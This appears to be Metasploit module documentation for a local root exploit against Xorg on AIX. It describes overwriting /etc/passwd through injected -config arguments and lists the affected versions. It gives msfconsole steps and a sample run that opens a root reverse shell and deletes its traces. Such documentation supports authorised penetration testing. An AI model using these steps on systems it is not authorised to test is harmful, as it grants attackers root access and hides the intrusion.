## Description

This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. Due to permission restrictions of the crontab in AIX, this module does not use cron, and instead overwrites /etc/passwd in order to create a new user with root privileges. All currently logged in users need to be included when /etc/passwd is overwritten, else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, and is replaced by '-config', in conjunction with ANSI-C quotes to inject newlines when overwriting /etc/passwd.

## Vulnerable Application

This module has been tested successfully on:

* AIX 7.1 with Xorg 7.2.3.0
* AIX 7.2 with Xorg 7.2.3.0

This table lists all vulnerable Xorg versions:

| Lower Level | Upper Level |
|-------------|-------------|
| 6.1.9.0     | 6.1.9.100   |
| 7.1.4.0     | 7.1.4.30    |
| 7.1.5.0     | 7.1.5.31    |
| 7.2.0.0     | 7.2.0.1     |
| 7.2.1.0     | 7.2.1.0     |
| 7.2.2.0     | 7.2.2.0     |
| 7.2.3.0     | 7.2.3.15    |

## Verification Steps

1. `msfconsole`
2. Get a session
3. `use exploit/aix/local/xorg_x11_server`
4. `set session <session>`
5. `set LHOST <lhost>`
6. `set LPORT <lport>`
7. `set writabledir <writabledir>`
8. `run`

## Options

### SESSION

Which session to use, which can be viewed with `sessions`

### WritableDir

A writable directory file system path. (default: `/tmp`)

## Scenarios
https://vimeo.com/372193921

```
msf exploit(aix/local/xorg_x11_server) > set session 1
session => 1
msf exploit(aix/local/xorg_x11_server) > set writabledir /tmp
writabledir => /tmp
msf exploit(aix/local/xorg_x11_server) > run

[*] Started reverse TCP handler on 0.0.0.0:8888
[*] Xorg version is 7.2.3.0
[*] Retrieving currently logged in users
[*] Writing to /tmp/wow.ksh
[*] Backing up /etc/passwd to /tmp/passwd.backup
[*] Executing /tmp/wow.ksh
[*] Checking if we are root
[+] Got root!
[*] Writing to /tmp/wowee.ksh
[*] Executing shell payload
[*] Restoring original /etc/passwd
[*] Command shell session 2 opened (172.17.0.2:8888 -> 172.17.0.1:32948) at 2019-02-11 15:42:56 +0000
[+] Deleted /tmp/wow.ksh
[+] Deleted /tmp/passwd.backup
[+] Deleted /tmp/wowee.ksh

id
uid=0(root) gid=0(system)

```
